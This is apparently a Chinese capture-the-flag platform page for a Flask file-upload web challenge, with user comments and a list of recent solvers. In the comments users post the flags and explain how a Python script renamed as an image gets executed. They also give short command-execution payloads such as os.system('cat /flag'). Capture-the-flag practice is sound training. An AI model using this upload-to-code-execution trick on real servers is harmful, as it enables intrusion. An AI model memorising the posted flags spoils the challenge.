Flask_FileUploadWEB 未解决

分数: 10 金币: 3
题目作者: valecalida
一  血: Lazzaro
一血奖励: 3金币
解  决: 12944
提  示:
描  述:
Flask_FileUpload
评论
孤独的XK 3年前

flag{5d468b7fbaa83c2a858fbbd4a1241e24}

回复 0

孤独的XK 3年前

flag{5d468b7fbaa83c2a858fbbd4a1241e24}

回复 0

2802867984 3年前

!-- File "/app/upload/1111.jpg", line 1 Python 3.9.7 (tags/v3.9.7:1016ef3, Aug 30 2021, 20:19:38) [MSC v.1929 64 bit (AMD64)] on win32 ^ SyntaxError: invalid syntax --&

回复 0

1019697179 3年前

import os os.system('cat /flag')//导入OS才能使用system,cat是查询命令

回复 1

15091760453 3年前

flag{1c6b553c3a91791993b859e1625275ac}

回复 0

Cat00011cat 4年前

import os os.system('ls / -l') os.system('cat /flag')

回复 2

nf1y 4年前

为啥我返回包出现的是这样 File "/app/upload/test.jpg", line 1 SyntaxError: Non-UTF-8 code starting with '\xff' in file /app/upload/test.jpg on line 1, but no encoding declared; see http://python.org/de

回复 0
不知名学渣 3年前

@aWxvdmVjdGY 我是小白,请问大佬,我很好奇为什么传图片就会以代码形式执行,那么这个实现是类似apache的解析漏洞吗?

回复 0

aWxvdmVjdGY 4年前

1、<input type="file" name="file" accept=".jpg,.png">这里限制了格式,后端也会检查。需要将py文件后缀为png,然后上传会议python文件执行

回复 0

白猫a 4年前

这个作者可以哇,题目解的真精彩!!!

回复 1

gfpeak 4年前

<!-- flag{9e5c134c066dc490c9644ecd9655a482} -->

回复 0
aWxvdmVjdGY 4年前

不同的场景答案是不一样的

回复 0

2224525664 4年前

我只想说牛逼!!!!来自小白的感叹

回复 1

WriteUp

image
国家级划水运动员

3 金币

评分(20)

解题动态

moque 攻破了该题 3小时前
magning 攻破了该题 5小时前
zjb520 攻破了该题 22小时前
noob11 攻破了该题 1天前
风掠 攻破了该题 1天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
zf 攻破了该题 2天前
macleo 攻破了该题 3天前
zmjjkk..... 攻破了该题 4天前
CCC1112 攻破了该题 4天前
suhannn 攻破了该题 5天前
诸诸诸 攻破了该题 5天前
CyberX 攻破了该题 5天前
1柒1 攻破了该题 5天前
KN11 攻破了该题 5天前
xzy_2026 攻破了该题 5天前
世界你好 攻破了该题 6天前
xiaoqixy1 攻破了该题 6天前
17199913044 攻破了该题 7天前
问题反馈